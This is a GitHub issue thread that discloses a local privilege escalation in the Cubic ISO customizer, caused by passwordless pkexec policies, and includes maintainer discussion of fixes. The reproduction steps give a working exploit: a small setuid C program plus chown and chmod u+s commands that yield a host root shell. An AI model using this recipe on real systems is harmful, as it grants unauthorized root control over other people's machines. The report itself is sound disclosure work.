Cubic can be exploited to allow an unprivileged user to elevate their privileges to root on the host system

[ArrayBolt3]

This vulnerability was reported privately a little over a month ago. I did not receive a response.

Describe the bug

Cubic installs a pkexec policy under /usr/share/polkit-1/actions/cubic.policy that allows many subcomponents of it to be run with root privileges without the user needing to provide a password. Among these components are extract-root (for unpacking an Ubuntu ISO's squashfs file while preserving file permissions), and start-console, which is used by Cubic to provide a true root shell within an unpacked ISO root directory. If the ISO unpacked by Cubic provides a user-writable directory (such as /tmp), a malicious user can place an executable into the user-writable directory from outside Cubic, and leverage Cubic's privileges to change the ownership of the executable to root and set the SUID bit. At this point the malicious user can execute the executable from outside Cubic and run arbitrary code on the host as root.

This vulnerability requires the presence of an ISO that Cubic can extract that provides a user-writable directory in its filesystem tree. If that ISO is present or able to be uploaded to the target machine, the vuln may be exploitable if the user can run the extract-root and start-console scripts, even with terminal-only access. It is definitely exploitable if the user has the ability to launch Cubic graphically. I have not attempted to exploit it with terminal-only access, but have succeeded exploiting it on my local system with graphical access.

To Reproduce

1. Ensure Cubic is installed on the target machine.
2. Write a simple C binary with the following code and save it as main.c:

   
   #include <sys/types.h>
   #include <unistd.h>
   #include <stdio.h>

int main() { const char sudo = "/usr/bin/sudo"; const char bash = "/usr/bin/bash"; char *args[2]; args[0] = sudo; args[1] = bash; setuid(0); execv(sudo, args); }

3. Compile this binary using `gcc main.c`.
4. Open Cubic.
5. Open and extract an ISO that provides a user-writable directory in its squashfs. The Kubuntu 24.04 ISO is suitable for this. I used a pre-existing project based on Kubuntu for this exploit. The directory we will be using in the ISO is `/tmp`, which has `1777` permissions.
6. Enter the virtual environment. You will not be prompted for a password and will be given a root shell confined to the ISO's root directory.
7. Run `umount /tmp` in the virtual environment. (By default `/tmp` will have a tmpfs mounted on it within the virtual environment, whereas we want access to the underlying directory on the host's disk.)
8. On the host machine, `cp a.out /path/to/cubic/project/custom-root/tmp/` (replacing `/path/to/cubic/project/` as appropriate - for me it's `~/Cubic/`.)
9. In the virtual environment, run `chown root:root /tmp/a.out && chmod u+s /tmp/a.out`. This sets the ownership of the executable to `root:root` and sets the SUID bit on it.
10. Exit the virtual environment.
11. On the host, run `/path/to/cubic/project/custom-root/tmp/a.out`. You will be granted a root shell without a password.

**Expected behavior**

I should be required to use an account with sudoers rights and should be required to provide my password to do any actions that require root with Cubic, including unpack the ISO and enter the virtual environment. It may be possible for Cubic to take the user's password once upon start, and then use it as necessary to elevate privileges.

**Notes**
While this vulnerability primarily leverages `extract-root` and `start-console` from Cubic, there are several other Cubic components that can be run as root without a password due to their pkexec policy, that look dangerous, such as `copy-path`, `delete`, `move-path`, `replace-text`, `stop-process`, `test-command`, and likely more.

**OS Information (please complete the following information):**
 - OS/Distro Name: Kubuntu
 - OS Version 24.04 LTS

**Cubic Information (please complete the following information):**
 - Cubic Version: 2024.02-86-release~202402210133~ubuntu24.04.1
 - ISO Customizing: kubuntu-24.04-desktop-amd64.iso
 - Download Link:  https://cdimage.ubuntu.com/kubuntu/releases/24.04/release/kubuntu-24.04-desktop-amd64.iso

**Cubic Log:**

N/A

**Video**

https://github.com/PJ-Singh-001/Cubic/assets/104878738/50286af7-2331-4585-96de-bb090019c4af

[PJ-Singh-001]

@ArrayBolt3,

Thanks for sharing this very detailed description of the issue.

It's ironic, many years ago, Cubic did require a sudo password to launch the application.

You're suggesting to not use pkexec and run cubic with elevated privileges (once the user correctly enters the sudo password)?

[ArrayBolt3]

That may be one solution, though running a graphical application as sudo has problems of its own. I was suggesting perhaps having Cubic request the user's password at some early stage and save it in a variable, to be used in sudo or pkexec calls later. That way the user would have to input their password in order to use Cubic, but would need to enter it only once.